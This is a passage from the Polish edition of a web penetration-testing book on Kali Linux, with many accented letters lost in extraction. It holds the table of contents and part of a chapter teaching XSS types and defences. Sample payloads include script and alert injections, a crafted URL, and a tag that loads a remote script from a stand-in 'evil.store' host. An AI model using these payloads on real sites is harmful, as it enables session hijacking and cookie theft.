tytuł oryginału: web penetration testing with kali linux ...pdf.helion.pl/kalil2/kalil2.pdf ·...

46

Upload: others

Post on 22-Mar-2020

27 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework
Page 2: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Tytuł oryginału: Web Penetration Testing with Kali Linux, Second Edition

Tłumaczenie: Łukasz Piwko

ISBN: 978-83-283-3214-0

Copyright © Packt Publishing 2015.

First published in the English language under the title "Web Penetration Testing with Kali Linux – Second Edition (9781783988525)’.

Polish edition copyright © 2017 by Helion SAAll rights reserved.

All rights reserved. No part of this book may be reproduced or transmitted in any form or by any means, electronic or mechanical, including photocopying, recording or by any information storage retrieval system, without permission from the Publisher.

Wszelkie prawa zastrzeżone. Nieautoryzowane rozpowszechnianie całości lub fragmentu niniejszej publikacji w jakiejkolwiek postaci jest zabronione. Wykonywanie kopii metodą kserograficzną, fotograficzną, a także kopiowanie książki na nośniku filmowym, magnetycznym lub innym powoduje naruszenie praw autorskich niniejszej publikacji.

Wszystkie znaki występujące w tekście są zastrzeżonymi znakami firmowymi bądź towarowymi ich właścicieli.

Autor oraz Wydawnictwo HELION dołożyli wszelkich starań, by zawarte w tej książce informacje były kompletne i rzetelne. Nie biorą jednak żadnej odpowiedzialności ani za ich wykorzystanie, ani za związane z tym ewentualne naruszenie praw patentowych lub autorskich. Autor oraz Wydawnictwo HELION nie ponoszą również żadnej odpowiedzialności za ewentualne szkody wynikłe z wykorzystania informacji zawartych w książce.

Wydawnictwo HELIONul. Kościuszki 1c, 44-100 GLIWICEtel. 32 231 22 19, 32 230 98 63e-mail: [email protected]: http://helion.pl (księgarnia internetowa, katalog książek)

Drogi Czytelniku!Jeżeli chcesz ocenić tę książkę, zajrzyj pod adres http://helion.pl/user/opinie/kalil2Możesz tam wpisać swoje uwagi, spostrzeżenia, recenzję.

Printed in Poland.

• Kup książkę• Poleć książkę • Oceń książkę

• Księgarnia internetowa• Lubię to! » Nasza społeczność

Page 3: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Spis tre ci

O autorze 9

O korektorach merytorycznych 11

Wst p 13

Rozdzia 1. Podstawy testów penetracyjnych i aplikacji sieciowych 19

Aktywne testowanie zabezpiecze 20Kim jest haker 21Ró ne metodyki testowania 21

Plan operacji 23Czarna czy szara skrzynka 23Dane kontaktowe klienta 23Sposób powiadamiania dzia u IT klienta 24Post powanie z poufnymi danymi 24Spotkania sprawozdawcze 24

Ograniczenia testów penetracyjnych 25Dlaczego nale y testowa aplikacje sieciowe 26Ataki oparte na in ynierii spo ecznej 28

Szkolenia z obrony przed atakami z u yciem in ynierii spo ecznej 29Podstawy budowy aplikacji sieciowych dla pentesterów 29

Protokó HTTP 30Nag ówki dania i odpowiedzi 30Metody HTTP wa ne w kontek cie testów penetracyjnych 33ledzenie sesji przy u yciu ciasteczek 35

Dane HTML-a w odpowiedzi HTTP 37Wielowarstwowe aplikacje sieciowe 38

Podsumowanie 39

Poleć książkęKup książkę

Page 4: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Kali Linux. Testy penetracyjne

4

Rozdzia 2. Konfiguracja rodowiska pracy w systemie Kali Linux 41

Kali Linux 41Udoskonalenia wprowadzone w Kali Linuksie 42Instalowanie Kali Linuksa 43Wirtualizacja Kali Linuksa a instalacja na fizycznym sprz cie 48

Najwa niejsze narz dzia w systemie Kali Linux 49Po redniki aplikacji sieciowych 49Sieciowy skaner luk w zabezpieczeniach 53Narz dzia do identyfikacji systemów CMS 56Fuzzery aplikacji sieciowych 57

Testowanie penetracyjne przy u yciu narz dzia Tor 57Konfiguracja Tora i nawi zywanie anonimowego po czenia 58Wizualizacja dania sieciowego w Torze 60Kilka uwag o Torze na zako czenie 61

Podsumowanie 62

Rozdzia 3. Prowadzenie rekonesansu i profilowanie serwera sieciowego 63

Rekonesans 64Rekonesans pasywny a rekonesans aktywny 64Rekonesans — zbieranie informacji 65

Skanowanie — badanie celu 73Skanowanie portów za pomoc narz dzia Nmap 74Identyfikacja systemu operacyjnego za pomoc Nmap 78Profilowanie serwera 79

Podsumowanie 98

Rozdzia 4. Najwa niejsze wady aplikacji sieciowych 99

Wycieki informacji 100Przegl danie zawarto ci katalogów 100

Wady dotycz ce mechanizmów uwierzytelniania 102Protoko y uwierzytelniania i zwi zane z nimi b dy 102amanie hase i loginów metod brute force 103

Przegl danie cie ki 105Przegl danie cie ki za pomoc narz dzia Burp 107

Luki umo liwiaj ce wstrzykiwanie kodu 109Wstrzykiwanie polece 109Wstrzykiwanie kodu SQL 110

Ataki typu XSS 112Potencja ataków typu XSS 114

Ataki typu CSRF 114Luki dotycz ce sesji 115

Sposoby kradzie y tokenów 116Narz dzia do analizy tokenów 117Ataki z wykorzystaniem spreparowanych identyfikatorów sesji 117Obrona przed atakami z wykorzystaniem spreparowanych identyfikatorów sesji 118

Poleć książkęKup książkę

Page 5: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Spis tre ci

5

Luka zwi zana z do czaniem plików 119Do czanie plików zdalnych 119Do czanie plików lokalnych 119Obrona przed atakami polegaj cymi na do czaniu plików 120

Zatruwanie parametrów HTTP 120Obrona 123

Dzielenie odpowiedzi HTTP 123Obrona 124

Podsumowanie 124

Rozdzia 5. Ataki na serwer metod wstrzykiwania kodu 127

Wstrzykiwanie polece 128Identyfikacja parametrów do wstrzykiwania danych 129Komunikaty o b dach i wstrzykni cia lepe 130Metaznaki do oddzielania polece 130Szukanie za pomoc skanera luk umo liwiaj cych wstrzykiwanie polece 131Wstrzykiwanie polece za pomoc Metasploita 134Wykorzystywanie luki Shellshock 138

SQL injection 142Instrukcje SQL 142Mo liwo ci ataku z wykorzystaniem luki typu SQL injection 144lepe ataki typu SQL injection 145

Metody testowania aplikacji pod k tem luk typu SQL injection 146Automat sqlmap 147BBQSQL — rodowisko do lepego wstrzykiwania kodu SQL 150Wstrzykiwanie kodu do baz MySQL za pomoc programu sqlsus 151sqlninja — MS SQL injection 152

Podsumowanie 154

Rozdzia 6. Luki umo liwiaj ce przeprowadzanie ataków XSS i XSRF 155

Historia ataków typu XSS 156Wprowadzenie do JavaScriptu 156

Podstawowe informacje o atakach typu XSS 157Typy ataków XSS 159

Ataki XSS z utrwaleniem 159Refleksyjne ataki XSS 161Ataki XSS na DOM 161Ataki XSS z u yciem metody POST 164

XSS i JavaScript — miertelna mieszanka 165Kradzie ciasteczek 165Rejestrowanie naciskanych klawiszy 166Zmiana wygl du witryny 166

Skanowanie w poszukiwaniu luk typu XSS 167Zed Attack Proxy 167XSSer 172w3af 175

Poleć książkęKup książkę

Page 6: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Kali Linux. Testy penetracyjne

6

Luki typu XSRF 179Warunki powodzenia ataku 179Technika ataku 179Szukanie luk typu XSRF 180Techniki obrony przed atakami XSRF 181

Podsumowanie 182

Rozdzia 7. Atakowanie witryn SSL 183

Secure Socket Layer 184SSL w aplikacjach sieciowych 185Proces szyfrowania SSL 186Szyfrowanie asymetryczne a szyfrowanie symetryczne 187Zapewnianie nienaruszalno ci danych za pomoc mieszania 189Identyfikacja s abych implementacji SSL 190Ataki typu man in the middle na SSL 196

Podsumowanie 201

Rozdzia 8. Przeprowadzanie ataków przy u yciu frameworków 203

Socjotechnika 204Pakiet narz dzi socjotechnicznych 205Ataki spear phishing 206Ataki z u yciem strony internetowej 209

Java Applet Attack 209Credential Harvester Attack 210Web Jacking Attack 211Metasploit Browser Exploit 212Tabnabbing Attack 212

Browser Exploitation Framework 214Wprowadzenie do BeEF 214Wstrzykiwanie uchwytu BeEF 215Atak XSS na Mutillidae za pomoc BeEF 221Wstrzykiwanie zaczepu BeEF metod MITM 223

Podsumowanie 225

Rozdzia 9. AJAX i us ugi sieciowe — luki bezpiecze stwa 227

Wprowadzenie do technologii AJAX 228Sk adniki technologii AJAX 229Zasada dzia ania technologii AJAX 229Kwestie bezpiecze stwa w odniesieniu do technologii AJAX 232Trudno ci w wykonywaniu testów penetracyjnych aplikacji AJAX 234Przeszukiwanie aplikacji AJAX 234Analizowanie kodu klienckiego — Firebug 238

Us ugi sieciowe 241Podstawowe informacje o us ugach SOAP i us ugach REST-owych 242Zabezpieczanie us ug sieciowych 243

Podsumowanie 245

Poleć książkęKup książkę

Page 7: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Spis tre ci

7

Rozdzia 10. Fuzzing aplikacji sieciowych 247

Podstawy fuzzingu 248Typy technik fuzzingu 249

Fuzzing mutacyjny 249Fuzzing generacyjny 250Zastosowania fuzzingu 250Frameworki fuzzingowe 252Etapy fuzzingu 253Testowanie fuzzingowe aplikacji sieciowych 254Fuzzery aplikacji sieciowych w Kali Linuksie 256

Podsumowanie 263

Skorowidz 265

Poleć książkęKup książkę

Page 8: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

8

Poleć książkęKup książkę

Page 9: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

6

Luki umo liwiaj ceprzeprowadzanie

ataków XSS i XSRF

W epoce Web 2.0 coraz wi cej przedsi biorstw zaczyna korzysta z rozbudowanych aplikacjiinternetowych, za pomoc których prowadzi si handel elektroniczny, przeprowadza operacjebankowe, handluje na gie dzie, zapisuje dane metodyczne itd. Dla wygody u ytkownika aplikacjete zawieraj elementy interaktywne i przechowuj poufne informacje o u ytkowniku. Programi citakich aplikacji powinni z najwy sz staranno ci podchodzi do kwestii bezpiecze stwa i podej-mowa wszelkie mo liwe rodki zapewniaj ce poufno i nienaruszalno przechowywanychw ten sposób danych.

W przypadku gdy program pobiera dane od u ytkownika, najwi cej w tpliwo ci budzi fakt,e informacjom tym nie mo na ufa . U ytkownik zamiast prawid owego loginu mo e wpisa

skrypt, a zadaniem aplikacji jest wykrycie takich szkodliwych dzia a . Je li system nie b dzieskutecznie oczyszcza danych otrzymywanych na wej ciu, napastnicy wykorzystaj to do prze-prowadzenia ataku.

W tym rozdziale omawiam ataki typu XSS (ang. cross-site scripting) i XSRF (ang. cross site requestforgery). W obu przypadkach bezpo rednim celem napastnika nie jest u ytkownik ko cowy,lecz chodzi o wykorzystanie luki w zabezpieczeniach witryny internetowej, któr ten u ytkownikodwiedza. Gdy napastnikowi uda si umie ci swój skrypt w takim serwisie, b dzie on infekowawszystkich, którzy do niego wejd .

W tym rozdziale omówi em nast puj ce tematy: historia ataków typu XSS; podstawowe wiadomo ci o atakach typu XSRF;

Poleć książkęKup książkę

Page 10: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Kali Linux. Testy penetracyjne

156

typy ataków XSS; XSS i JavaScript; narz dzia do przeprowadzania ataków XSS; luki typu XSRF.

Historia ataków typu XSSPoj cia XSS i JavaScript cz sto mo na spotka w swoim towarzystwie. JavaScript to wykonywanyu klienta skryptowy j zyk programowania wprowadzony do u ytku w 1995 r. przez firm Netscape.J zyk ten stworzono g ównie po to, by umo liwi wykonywanie pewnych dzia a w przegl darceinternetowej. I cho JavaScriptu mo na u ywa tak e do innych celów, nadal najcz ciej znaj-duje on zastosowanie w implementacji wykonywanych w przegl darkach skryptów steruj cychprezentacj stron, np. wy wietlaj cych wyskakuj ce okienka dialogowe, gdy u ytkownik wpiszenieprawid ow warto w polu formularza, albo pokazuj cych reklamy na stronach internetowych.

Niektórzy hakerzy szybko odkryli, e za pomoc JavaScriptu mo na odczytywa dane ze stroninternetowych adowanych w s siednich oknach lub ramkach. Oznacza o to, e szkodliwa witrynamog a przekroczy granic i reagowa z tre ci za adowan na ca kiem innej stronie internetowej,pochodz cej z innej domeny. St d w a nie wzi a si nazwa cross-site scripting (wykonywanieskryptów mi dzy witrynami). Aby uniemo liwi przeprowadzanie ataków t metod , firmaNetscape wprowadzi a zasad wspólnego pochodzenia, w my l której skrypty z jednej strony majdost p tylko do innych stron nale cych do tej samej domeny. Innymi s owy: uniemo liwiononapastnikom odczytywanie za pomoc JavaScriptu danych z dowolnej strony.

W pierwszych latach XXI w. ataki typu XSS zyska y rozg os, poniewa za ich pomoc hakerzyzacz li zmusza strony internetowe do adowania szkodliwych skryptów w przegl darkach inter-netowych. Cho cele ataków XSS z biegiem lat si zmieni y, nazwa pozosta a ta sama, przez coniektórzy zastanawiaj si , o co w tym chodzi. Hakerzy wynale li wiele metod wykorzystania ata-ków typu XSS, np.: do skanowania portów, rejestrowania naciskanych klawiszy czy wy wietlaniaszkodliwych reklam.

Za pomoc ataku typu XSS mo na te wstrzykn do podatnej strony internetowej kod VBScriptu,ActiveX lub Flasha. Jednak, ze wzgl du na powszechno JavaScriptu, w dalszej cz ci rozdzia uprzedstawiam przyk ady oparte na u yciu skryptów w a nie w tym j zyku.

Wprowadzenie do JavaScriptuNa pocz tek pragn podkre li , e j zyk programowania JavaScript to nie to samo co Java. FirmaNetscape wybra a tak nazw wy cznie ze wzgl dów marketingowych, poniewa w czasie gdypowsta JavaScript, j zyk Java zdobywa ogromn popularno . W dynamicznych aplikacjachsieciowych JavaScript znajduje liczne zastosowania. Skrypty mog by osadzane na stronachinternetowych w specjalnych znacznikach HTML-a i mog pobiera dane z ró nych róde , na

Poleć książkęKup książkę

Page 11: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Rozdzia 6. • Luki umo liwiaj ce przeprowadzanie ataków XSS i XSRF

157

podstawie których budowana jest nast pnie ostateczna prezentacja. Prostym przyk adem mo eby witryna portalu spo eczno ciowego buduj ca stron profilu przez za adowanie obrazu, danychu ytkownika i starych wpisów z kilku miejsc. Poni ej znajduje si opis kilku sposobów u yciaJavaScriptu w kodzie HTML-a:

Znacznik script — kod JavaScriptu mo na umie ci bezpo rednio na stronieinternetowej za pomoc znacznika <script>. Na przyk ad:

<script> alert("XSS"); </script>

Znacznik body — skrypt mo na te wstawi na stron przy u yciu zdarzenia onloadw znaczniku <body>. Na przyk ad:

<body onload=alert("XSS")>

Znacznik img — ten sposób wykonywania kodu JavaScriptu jest cz stowykorzystywany do nieuczciwych celów. Na przyk ad:

<img src="javascript:alert('XSS');">

Skrypty JavaScriptu mo na te wstawia na strony internetowe przy u yciu innych znaczników,np.: <iframe>, <div> czy <link>.

Za pomoc JavaScriptu mo na nie tylko pobiera informacje z serwera, ale tak e wykonywadzia ania na obiektowym modelu dokumentu (ang. Document Object Model — DOM) orazuzyskiwa dost p do danych przegl darki internetowej i w a ciwo ci systemu operacyjnego.Wprawdzie projektanci JavaScriptu przewidzieli mo liwo wykonywania skryptów w bardzoograniczonym rodowisku wykonawczym z niewielkimi uprawnieniami w systemie operacyjnym,ale nawet to wystarcza napastnikom do robienia pewnych bardzo nieprzyjemnych rzeczy.

Za adowany w przegl darce skrypt ma dost p do nale cych do sesji u ytkownika ciasteczek i dohistorii otwieranych adresów URL. W ciasteczkach cz sto przechowuje si identyfikatory sesji,wi c je li haker je wykradnie, mo e zapanowa nad sesj . Ponadto JavaScript ma te pe ny dost pdo struktury DOM strony internetowej i mo e modyfikowa kod HTML-a strony, w zwi zkuz czym haker mo e wy wietli na komputerze u ytkownika w asn tre . Je li dodatkowo napast-nik zaciemni swój kod JavaScriptu, to niewprawiony w analizowaniu kodu zwyk y u ytkownik maniewielk szans wykry oszustwo.

DOM to logiczna struktura definiuj ca atrybuty i sposoby prezentacji na stronie ró nych obiektów (np.: tekstu,obrazów, nag ówków czy odno ników) oraz okre laj ca regu y manipulowania nimi.

Podstawowe informacje o atakach typu XSSMówi c najpro ciej: celem ataku typu XSS jest wykonanie szkodliwego kodu JavaScriptu w prze-gl darce u ytkownika. Skrypt ten jest dostarczany do klienta za po rednictwem strony interneto-wej podatnej na ataki XSS. U klienta przegl darka internetowa traktuje skrypty jako legaln cz

Poleć książkęKup książkę

Page 12: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Kali Linux. Testy penetracyjne

158

strony internetowej i je wykonuje. Uruchomiony w przegl darce ofiary skrypt mo e zmusiprzegl dark do wykonania ró nych czynno ci, jak równie do przeprowadzenia nieuczciwychtransakcji, wykradzenia ciasteczek czy przekierowania u ytkownika na inn stron .

W ataku XSS zwykle bior udzia nast puj ce podmioty: napastnik; podatna na ataki aplikacja sieciowa; ofiara korzystaj ca z przegl darki internetowej; dodatkowa witryna, do której napastnik chce przekierowa przegl dark lub któr

chce zaatakowa za po rednictwem ofiary.

Przeanalizujemy przyk ad ataku XSS: 1. Najpierw przy u yciu legalnych danych napastnik sprawdza podatno pól aplikacjisieciowej na ataki XSS. Obiecuj ce dla niego s pola, które zwracaj dane z powrotemdo przegl darki. Przyk ad takiej sytuacji jest pokazany na poni szym rysunku.Witryna przekazuje dane za pomoc metody GET i wy wietla je w przegl darce:

2. Gdy napastnik wykryje s abo zabezpieczony parametr, za pomoc którego mo nadokona wstrzykni cia kodu, musi znale sposób na dostarczenie do u ytkownikaszkodliwego adresu URL zawieraj cego kod JavaScriptu. Jednym ze sposobów jestwys anie fa szywej wiadomo ci e-mail b d zmuszenie ofiary do otwarcia wiadomo ciza pomoc phishingu.

3. Wiadomo e-mail powinna zawiera adres URL do podatnej na ataki aplikacjiinternetowej z do czonym kodem JavaScriptu. Gdy u ytkownik kliknie spreparowanyodno nik, przegl darka przetworzy adres i wy le do witryny zawarty w nim kod.Dane w postaci skryptu JavaScriptu zostan zwrócone do przegl darki i w niejwykonane. Mo emy np. spróbowa wykona taki wredny kod JavaScriptu:<script>alert('Mam Ci !!')</script>.Aby tego dokona , mogliby my spreparowa poni szy adres URL:

http://example.org/hello.php?name=<script>alert('Mam Ci !!')</script>

Poleć książkęKup książkę

Page 13: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Rozdzia 6. • Luki umo liwiaj ce przeprowadzanie ataków XSS i XSRF

159

4. Metody alert cz sto u ywa si w demonstracjach i w celu przetestowania aplikacjipod k tem podatno ci na ataki. W dalszej cz ci tego rozdzia u opisuj te inne metodyz u yciem JavaScriptu cz sto stosowane przez napastników.

5. Je eli aplikacja sieciowa jest podatna na ataki, to w przegl darce u ytkownika pojawisi okno dialogowe podobne do widocznego na poni szym rysunku:

Typy ataków XSSG ównym celem ataku XSS jest wykonanie kodu JavaScriptu w przegl darce internetowej ofiary,ale cel ten mo na osi gn na wiele sposobów. Wszystko tak naprawd zale y od budowy i prze-znaczenia atakowanej witryny. Wyró nia si trzy podstawowe kategorie ataków XSS:

atak XSS z utrwaleniem (ang. persistent XSS); refleksyjny atak XSS (ang. reflected XSS); atak XSS na DOM (ang. DOM XSS).

Ataki XSS z utrwaleniemTen rodzaj ataku XSS nazywany jest po angielsku persistent XSS lub stored XSS, poniewa polegana wstrzykni ciu danych na serwer sieciowy lub do bazy danych na serwerze, po czym aplikacjaserwuje go u ytkownikom bez adnej kontroli. Tego rodzaju atak móg by przeprowadzi napastnikchc cy zainfekowa komputery wszystkich u ytkowników serwisu. Udana próba tego typu dajehakerowi szerokie pole do dzia ania.

Poleć książkęKup książkę

Page 14: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Kali Linux. Testy penetracyjne

160

Oto typowe cele ataków XSS z utrwaleniem: internetowe fora dyskusyjne, portale spo eczno ciowe, serwisy z wiadomo ciami.

Ataki XSS z utrwaleniem s uwa ane za najbardziej szkodliw odmian wszystkich ataków typuXSS, poniewa skrypt hakera zostaje automatycznie wstrzykni ty do przegl darki ofiary. Napast-nik nie musi dodatkowo posi kowa si phishingiem, aby nak oni u ytkownika do klikni cia

cza. Szkodliwy skrypt zostaje wys any do podatnej na ataki witryny i jest przesy any do u yt-kowników podczas normalnego przegl dania stron. Ponadto w ataku XSS z utrwaleniem mo nabezpo rednio zaimportowa plik JavaScriptu ze zdalnego serwera. Poni szy skrypt np. b dziepobiera ze zdalnego serwera kod JavaScriptu do wykonania:

<script type="text/javascript" src=http://evil.store/malicious.js></script>

Na poni szym schemacie przedstawiona jest aplikacja sieciowa podatna na ataki XSS z utrwale-niem. Jest to forum internetowe, którego u ytkownicy mog tworzy konta i kontaktowasi z innymi u ytkownikami. Aplikacja zapisuje w bazie danych profile wraz z innymi danymi.Haker odkrywa, e ta aplikacja nie oczyszcza danych przekazanych w sekcji komentarzy, wi cwykorzystuje ten fakt do dodania szkodliwego kodu JavaScriptu za pomoc pola komentarza.Kod ten zostaje zapisany w bazie danych aplikacji. Gdy niczego niepodejrzewaj ca ofiara wy wietliktóry z komentarzy, w jej przegl darce internetowej zostanie wykonany wys any przez napastnikaskrypt, który pobiera ciasteczko i wysy a je do zdalnego serwera znajduj cego si pod kontrolhakera:

Poleć książkęKup książkę

Page 15: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Rozdzia 6. • Luki umo liwiaj ce przeprowadzanie ataków XSS i XSRF

161

Refleksyjne ataki XSSRefleksyjne ataki XSS zwane s te atakami XSS bez utrwalenia (ang. nonpersistent XSS). W ra-mach takiego ataku szkodliwy skrypt jest wysy any przez ofiar w daniu do aplikacji sieciowej,która zwraca go w odpowiedzi do przegl darki. W pierwszej chwili mo e si wydawa , e prze-prowadzenie takiego ataku jest bardzo trudne, poniewa nikt z w asnej woli nie wy le szkodliwegoskryptu do serwera, ale hakerzy maj bogaty zestaw sposobów na nak onienie u ytkownika do tego.

Refleksyjne ataki XSS s najcz ciej skierowane na konkretne osoby, którym wysy a si fa szywwiadomo e-mail ze skryptem do czonym do adresu URL, lub przeprowadza si je za pomocpublikacji odno nika w ogólnodost pnej witrynie i zmusza si u ytkowników do jego klikni cia.Je li dodatkowo napastnik skorzysta z us ugi skracania adresów, aby ukry swój d ugi i dziwniewygl daj cy adres, mog cy wzbudza w tpliwo ci u potencjalnej ofiary, to atak ma naprawddu szans powodzenia.

Na poni szym schemacie przedstawiona jest sytuacja, w której ofiara zostaje sztuczk nak onionado klikni cia adresu URL dostarczaj cego do aplikacji skrypt, który nast pnie zostaje zwróconydo przegl darki bez odpowiedniego sprawdzenia:

Ataki XSS na DOMTrzeci rodzaj ataków XSS ma charakter lokalny i jest skierowany bezpo rednio na przegl darkinternetow ofiary. W tym przypadku, w odró nieniu od dwóch poprzednich rodzajów ataku,napastnik nie wysy a szkodliwej tre ci do serwera, czekaj c na zwrócenie jej potem do przegl dar-ki, która traktuje otrzymany kod jako zaufan tre aplikacji i wykonuje go podczas adowaniastrony. W atakach XSS na DOM wykonywany jest tylko legalny skrypt dostarczony przez serwer.

Poleć książkęKup książkę

Page 16: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Kali Linux. Testy penetracyjne

162

Coraz wi cej stron HTML-owych jest generowanych nie przez serwer, tylko przez skrypty Java-Scriptu pobierane przez klienta z serwera. Za ka dym razem gdy od wie ana jest tylko cz strony,wykorzystywany jest kod JavaScriptu. Typowym przyk adem jest witryna na ywo przedsta-wiaj ca wyniki meczu. Sekcja z wynikami jest w niej aktualizowana w równych odst pach czasu.

Ataki XSS na DOM wykorzystuj taki legalny kod przeznaczony do wykonania przez klienta.W tym ataku najwa niejsze jest to, e legalny skrypt na podstawie danych wprowadzanych przezu ytkownika dodaje tre HTML-a do strony, która nast pnie zostaje wy wietlona w oknieprzegl darki.

Przeanalizujemy konkretny przyk ad ataku XSS na DOM: 1. Wyobra sobie stron internetow , która ma wy wietla dostosowan tre w zale no ciod nazwy miasta podanej w adresie URL. Nazwa ta jest równie wy wietlana na stronieHTML-owej w przegl darce u ytkownika:

http://www.cityguide.com/index.html?city=Mumbai

2. Gdy przegl darka otrzyma powy szy adres, wysy a do http://www.cityguide.com/danie strony internetowej. W przegl darce u ytkownika nast puje pobranie

i wykonanie legalnego kodu JavaScriptu, który dodaje do nag ówka strony nazwmiasta. Nazwa ta pochodzi z adresu URL (w tym przypadku jest to Mumbai),a wi c stanowi parametr pozostaj cy pod kontrol u ytkownika.

3. Jak napisa em wcze niej, w atakach XSS na DOM szkodliwych skryptów niewysy a si do serwera. Jest to mo liwe dzi ki dodaniu do adresu URL znaku #,który powoduje, e wszystko, co znajduje si za nim, nie zostanie wys ane.W efekcie dzia aj cy na serwerze kod nie ma dost pu do tej cz ci adresu,mimo e mo e z niej korzysta kod dzia aj cy na kliencie.Przyk adowy szkodliwy adres URL skonstruowany wed ug tej zasady mo ewygl da tak:

http://www.cityguide.com/index.html?#city=<script>function</script>

4. Podczas adowania strony przegl darka znajduje legalny skrypt, który pobieraz adresu URL nazw miasta do wstawienia do kodu HTML-a. W tym przypadkujednak skrypt otrzymuje nie nazw miasta, tylko skrypt, który dodaje do ród astrony. Podczas jej renderowania przegl darka wykonuje ten skrypt, co oznaczaudane przeprowadzenie ataku XSS na DOM.

Na rysunku na nast pnej stronie schematycznie przedstawiono zasad wykonywania ataku XSSna DOM:

Obrona przed atakami XSS na DOMPoniewa szkodliwa tre wykorzystywana w ataku XSS na DOM nie trafia do serwera, nie da sijej wykry za pomoc technik serwerowych. Oczywi cie problem dotyczy sposobu dzia aniaaplikacji, ale le y po stronie kodu wykonywanego u klienta. Jedn z podstawowych metodobrony jest rezygnacja z budowania stron HTML-owych za pomoc skryptów wykonywanychw przegl darce.

Poleć książkęKup książkę

Page 17: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Rozdzia 6. • Luki umo liwiaj ce przeprowadzanie ataków XSS i XSRF

163

Czasami nie da si unikn odbierania danych od u ytkownika w kodzie lokalnym i wówczasnajlepszym rozwi zaniem jest nieu ywanie ryzykownych elementów HTML-a i metod Java-Scriptu.

Z poni szych rozwi za nale y korzysta z najwi ksz ostro no ci : document.write():

document.write('City name='+userinput);

element.innerHTML:

element.innerHTML='<div>'+userinput+'</div>';

eval;

var UserInput="'Mumbai';alert(x);";eval("document.forms[0]."+"Cityname="+txtUserInput);

Dodatkowo dane przekazywane przez u ytkownika mo na kodowa przed ich u yciem w kodzieklienckim. Mo na tak e korzysta ze znaków oddzielania a cuchów oraz opakowywa daneu ytkowników we w asne funkcje. Niektóre rodowiska JavaScriptu maj te wbudowane mecha-nizmy ochrony przed atakami na DOM.

Kodowanie oznacza tak modyfikacj danych przekazywanych przez u ytkownika, aby przegl darkamog a je zinterpretowa tylko jako zwyk e dane, a nie kod ród owy. Polega to np. na zamianie wszystkichznaków typu < i > na encje &lt; i &gt;.

Poleć książkęKup książkę

Page 18: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Kali Linux. Testy penetracyjne

164

Ataki XSS z u yciem metody POSTW opisanym wcze niej przyk adzie refleksyjnego ataku XSS u yta zosta a metoda GET, któraznacznie u atwia hakerowi wstrzykiwanie danych, poniewa wystarczy tylko spreparowa odpo-wiedni adres URL ze skryptem i za pomoc sztuczki sk oni u ytkownika do jego klikni cia.Kiedy strona internetowa przekazuje dane od u ytkownika za pomoc metody POST, napastnikchc cy przeprowadzi atak XSS musi troch bardziej si napracowa .

Metoda POST uniemo liwia bezpo rednie wstrzykni cie skryptu, poniewa dane wej ciowe nie sprzesy ane w adresie URL. Napastnik musi znale niebezpo redni sposób na wstrzykni cieswojego skryptu do aplikacji. Poni ej znajduje si opis takiego procesu oparty na konkretnymprzyk adzie.

Powiedzmy, e pewna strona internetowa zawiera wyszukiwark podatn na ataki XSS i gdynapastnik wstrzykuje skrypt do pola wyszukiwania na tej stronie, zostaje on zwrócony do prze-gl darki bez jakiejkolwiek weryfikacji. Poni ej znajduje si przyk adowy kod HTML-a takiejstrony:

<html> <body> <form name="query" method="post" action="/search.php"> <input type="text" name="search_input" value=""> <input type="submit" value="wy lij"> </form> </body></html>

